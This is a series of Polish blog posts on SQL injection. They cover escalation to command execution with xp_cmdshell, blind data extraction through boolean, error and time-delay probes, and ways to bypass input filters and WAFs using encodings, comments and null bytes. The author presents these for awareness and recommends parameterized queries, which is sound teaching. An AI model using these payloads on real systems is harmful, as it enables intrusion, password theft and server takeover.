Bezpieczeństwo web, SQL Injection – Eskalacja ataku

Czas wrócić do cyklu o bezpieczeństwie web, a konkretnie o SQL Injection. W poprzednich postach sporo pisałem o sposobach wykrycia luk, nawet w przypadku, gdy aplikacja nie wyświetla bezpośrednio danych na stronie.  Dzisiaj pokażę, że SQL Injection to nie tylko wykradnięcie danych, ale może umożliwić nawet całkowite przejęcie serwera.

Przedstawione ataki można wykonać na różnych typach baz, ale ze względu na to, że głównie zajmuje się MS Sql Server oraz MySql, ograniczę się do nich.

1. Wykonanie dowolnej komendy

W SqlServer do dyspozycji mamy xp_cmdshell.  Procedura umożliwia wykonanie dowolnej komendy systemowej, na przykład:

EXEC xp_cmdshell 'dir *.exe';
GO

Oczywiście, jeśli użytkownik wstrzyknie taką komendę i ConnectionString zawiera użytkownika, który ma uprawnienia do jej wykonania, atak zakończy się całkowitym przejęciem kontroli danego serwera. Po prostu, dowolne polecenie może zostać wykonane, więc nie różni się to niczym od fizycznego zalogowania się do takiego komputera.

2. Stworzenie nowego użytkownika

Wstrzykiwanie kodu za każdym razem jest dosyć niewygodne. Dlaczego zatem nie stworzyć po prostu sobie konta? Analogicznie, korzystając z technik pokazanych w poprzednich postach można wstrzyknąć CREATE LOGIN.

3.  Dostęp do infrastruktury

Zwykle systemy to nie pojedynczy serwer a cała ich sieć. Ponadto, sieć chroniona jest zwykle przez firewall, zatem z zewnątrz mamy dostęp wyłącznie do jednego serwera za pomocą HTTP\HTTPS. Innymi słowy większość portów i adresów IP jest po prostu zablokowana. Jeśli uzyskamy dostęp do serwera baz danych, np. za pomocą punktu pierwszego, znajdziemy się w zaufanej sieci. Potencjalnie serwer baz danych nie jest blokowany przez firewall ponieważ znajduję się w zaufanej sieci.

Naturalnie, za pomocą “xp_cmdshell” będziemy w stanie przeprowadzić kolejne ataki wymierzone w serwery znajdujące się w chronionej sieci. Zwykle są one dużo łatwiejsze do przeprowadzenia… Dlaczego? Programiści często myślą, że skoro aplikacja czy usługa jest wykorzystywana tylko wewnętrznie i nie ma do niej dostępu z publicznego Internetu, wtedy nie trzeba martwić się autoryzacją czy bezpieczeństwem. W świecie mikro-usług jest to dość wyraźnie widoczne. Często większość mikro-serwisów wykonywana jest wyłącznie wewnętrznie. Powyższe rozważania pokazują jednak, że wystarczy, że jakiś element w publicznych usługach zostanie złamany i atakujący zyska publiczny dostęp do usług, które wcześniej uważane były za prywatne. Bezpieczeństwo powinno być rozważane na każdym poziomie – od kodu aplikacji po infrastrukturę.

Bezpieczeństwo web, SQL Injection – Wstrzykiwanie zapytań, które nie wyświetlają danych w UI

W bardziej skomplikowanych systemach, wszelkie zapytania SQL nie są wyświetlane bezpośrednio na stronie. W prostych stronach internetowych zwykle, rezultat zapytania SQL może być wyświetlony w formie np. tabeli. W aplikacjach webowych jest wiele warstw usług między stroną internetową a DAL. Ponadto, część zapytań po prostu nie jest wyświetlanych np.:

SELECT count(1) where UserName='Piotr' AND Password='1234'

Powyższe zapytanie, może być wykonane jako proces autoryzacji. Nawet jeśli uda nam się coś wstrzyknąć, nie będziemy o tym wiedzieć,  ani nie zobaczymy danych, które chcieliśmy uzyskać. Czy to znaczy, że w tych sytuacjach aplikacja jest zawsze odporna na SQL Injection?

Jest dokładnie odwrotnie. Proste aplikacje zwykle używają ORM (np. Entity Framework) i nie generują dynamicznych zapytań. W przypadku skomplikowanych systemów, łatwo ulec złudzeniu, że logika wykonywana głęboko w back-end (np. w systemie kolejkowym) jest bezpieczna. Inne zagrożenie to dane pochodzące z wewnętrznego systemu, które są traktowane przez programistów jako bezpieczne. Każdy argument, nawet pochodzący z wewnętrznego systemu powinien być postrzegany jako możliwość SQL Injection.

Dzisiaj przyjrzymy się technikom, które umożliwiają przeprowadzenie SQL Injection, nawet jeśli zapytanie jest ukryte głęboko w BE. Zakładamy, że system jest podatny na SQL Injection i musimy w jakiś sposób tylko wyprowadzić dane z niego ponieważ nie ma możliwości wyświetlenia ich w standardowej tabeli.

1. Zewnętrzny zapis danych
Niektóre silniki baz danych umożliwiają zapis danych do zewnętrznej bazy. W SQL Server do dyspozycji jest OpenRowSet.
W MySQL można zapisać wynik zapytania w pliku tekstowym za pomocą

SELECT ... INTO OUTFILE

Więcej informacji tutaj:
https://dev.mysql.com/doc/refman/5.1/en/select-into.html

Pomimo, że bezpośrednio danych nie widać na wynikowej stronie, to możemy wstrzyknąć zapytanie, którego rezultat zostanie zapisany w naszej bazie danych lub w pliku tekstowym w przypadku MySQL. W praktyce, ma to dość ograniczone możliwości ze względu na firewall.

2. Stopniowe odgadywanie danych

Innym sposobem jest tak zmodyfikowanie zapytania, aby w każdej iteracji można byłoby odgadnąć jeden znak. Przykład:

SELECT count(1) where UserName='admin' AND substring(Password,0,1) == 'A'

Wystarczy, że odgadniemy pierwszy znak hasła. Jeśli hasło nie zaczyna się od ‘A’, wtedy dostaniemy komunikat o błędzie autoryzacji. Wtedy możemy spróbować ponownie, np.:

SELECT count(1) where UserName='admin' AND substring(Password,0,1) == 'B'

Załóżmy, że udało nam się zalogować jako admin. Oznacza to, że hasło admina zaczyna się od ‘B’. Kolejna iteracja będzie wyglądać zatem:

SELECT count(1) where UserName='admin' AND substring(Password,1,1) == 'A'

O wiele łatwiej jest odgadnąć jeden znak, niż całe hasło.

3. Spowodowanie błędu
Zwykle jak wiemy, że aplikacja jest podatna na atak, wtedy można zastanowić się jak to wykorzystać. Problem w tym, że skoro aplikacja nie wyświetla żadnych danych, czasami decydujące jest odkrycie, czy przeprowadzony atak w ogóle może przynieść jakieś zagrożenia. Jeśli chcemy przekonać się, że nasze zapytanie rzeczywiście zostało wykonane, wtedy możemy spowodować błąd. Na przykład rozważmy schemat zapytania:

SELECT A from B where C

A zostanie wyłącznie wtedy, kiedy warunek C jest spełniony na tabeli B. Z kolei warunek C zostanie sprawdzony wyłącznie, kiedy zapytanie jest wykonywane.
Zwykle powyższą technikę stosuje się z punktem numer 2. W przykładzie pokazanym w punkcie drugim nie jest to potrzebne bo w przypadku nieprawidłowego hasła po prostu nie nastąpi autoryzacja. Czasami jednak nie możemy liczyć nawet na taką informacje i wtedy można wywołać błąd. A w jaki sposób najprościej wyrzucić wyjątek? Spójrzmy:

SELECT 1/0 from Users WHERE ...

4. Opóźnienie wykonania

Punkt 2 i 3 mają sens wyłącznie kiedy w jakiś sposób błąd autoryzacji (punkt 2) lub błąd wykonania zapytania (punkt 3) jest przekazywany z powrotem do użytkownika. Nie zawsze jednak ma to miejsce, ale wciąż aplikacja może być podatna na SQL Injection. Co jeśli następujące zapytanie zostanie wstrzyknięte?

if substring(Password,0,1)) = 'A'  waitfor delay '0:0:10'

Możemy obserwować czas przetwarzania zapytania. Jeśli będzie one dłuższe o 10 sekund, prawdopodobne jest, że nasz warunek został spełniony czyli pierwszy znak hasła to litera A.

Bezpieczeństwo web (część 6) – SQL Injection III, obchodzenie filtrów

W poprzednich postach opisałem ogólną zasadę działania SQL Injection. Niestety część programistów, próbując zapobiec atakowi, pisze własne filtry mające na celu usunięcie spreparowanego zapytania. Niestety w większości przypadków jest to bardzo zły i niebezpieczny pomysł. Dzisiaj przedstawię kilka sposobów na ominięcie typowych zabezpieczeń i filtrów stosowanych przez część programistów. Prawidłowe wykonanie zapytania polega na parametryzacji wszystkich dynamicznych części zapytania. Dzisiejszy wpis ma na celu pokazanie, jak bardzo skomplikowane jest zadanie napisania prawidłowych filtrów, działających we wszystkich sytuacjach.

1. Blokowanie komentarzy

Wcześniej wstrzykiwaliśmy kod za pomocą wykomentowania reszty zapytania tzn.

' or 1=1 --

W rezultacie tworzyło to:

SELECT * from Articles where Text='test' or 1=1 --'

Istnieje inny sposób, jeśli filtry usuwają wszelkie komentarze np.:

' or 'a'='a

W rezultacie da to:

SELECT * from Articles where Text='test' or 'a'='a'

2. Blokowanie spacji
Niektóre, bardzo proste filtry usuwają spacje np. jeśli przekażemy ‘ or 1=1–, otrzymamy ‘or1=1– co oczywiście jest błędną składnią. Podobnie SELECT * FROM table zostanie zamieniony na SELECT*FROMTABLE. Sztuczka wtedy polega na wstrzyknięciu komentarzy zamiast spacji, czyli:

SELECT/*Cokolwiek/*COL1/*COKOLWIEK*/FROM/*COKOLWIEK*/table

3. Blokowanie słów kluczowych
Niektóre systemy IDS (Intrusion detection system) blokują konkretne słowa kluczowe jak np. SELECT. Wtedy można użyć kodowania URI i zamiast SELECT spróbować można:
– %00SELECT
– %53%45%4c%45%43%54 (pojedyncze kodowanie)
– %2553%2545%254c%2545%2543%2554 (podwójne kodowanie)
4. Kodowanie apostrof
Naturalnie, filtry próbują pozbyć się apostrof, np. jeśli przekazujemy ‘ or 1=1– może zostać zamienione to na ” or 1=1–.
Na pierwszy rzut oka kod wydaje się bezpieczny. Apostrof zostanie uznany za zwykły tekst. Niestety, np. w MySQL istnieją dwa sposoby kodowania znaków. Pierwszy z nich widzimy wyżej – za pomocą dodania kolejnego apostrofa (‘->”). Drugi sposób to użycie slasha (‘ -> \’).
Jeśli zatem wstrzykniemy \’ or 1=1–, po filtrowaniu uzyskamy \” or 1 =1. Pierwszy apostrof zostanie uznany za tekst, a drugi zamknie frazę, umożliwiając przeprowadzenie ataku.
5. Wprowadzenie tekstu bez użycia apostrof
Inny sposób to wstrzyknięcie tekstu za pomocą ASCI. Na przykład zamiast:

SELECT * FROM Persons where name='piotr'

Możemy:

SELECT * FROM Persons where name=char(80)||char(73)||char(79)||char(84)||char(82)

6. Składnia
Co prawda jest to bardzo naiwne podejście, ale warto sprawdzić czy “SELECT” jest interpretowany tak samo jak np. “SeLeCT”. Większość skanerów, próbuje wstrzyknąć ten sam kod za pomocą małych i wielkich liter.
7. Zakończenie NULL byte
Część systemów IDS\WAF jest zaimplementowana w językach niezarządzanych takich jak CPP. String inaczej jest interpretowany w CPP niż w C#. W CPP \null kończy dany strumień znaków. W C#, istnieje osobne pole określające długość strumienia znaków (napisu).
W praktyce oznacza to, że “ABC\nullDEF” w CPP sprowadzi się do “ABC”, z kolei w C# będzie to oczywiście “ABC\nullDEF”.Innymi słowy, można tak przygotować zapytanie, że zostanie one przepuszczone przez IDS\WAF, a zarządzany kod (ASP.NET) wykona złośliwy kod.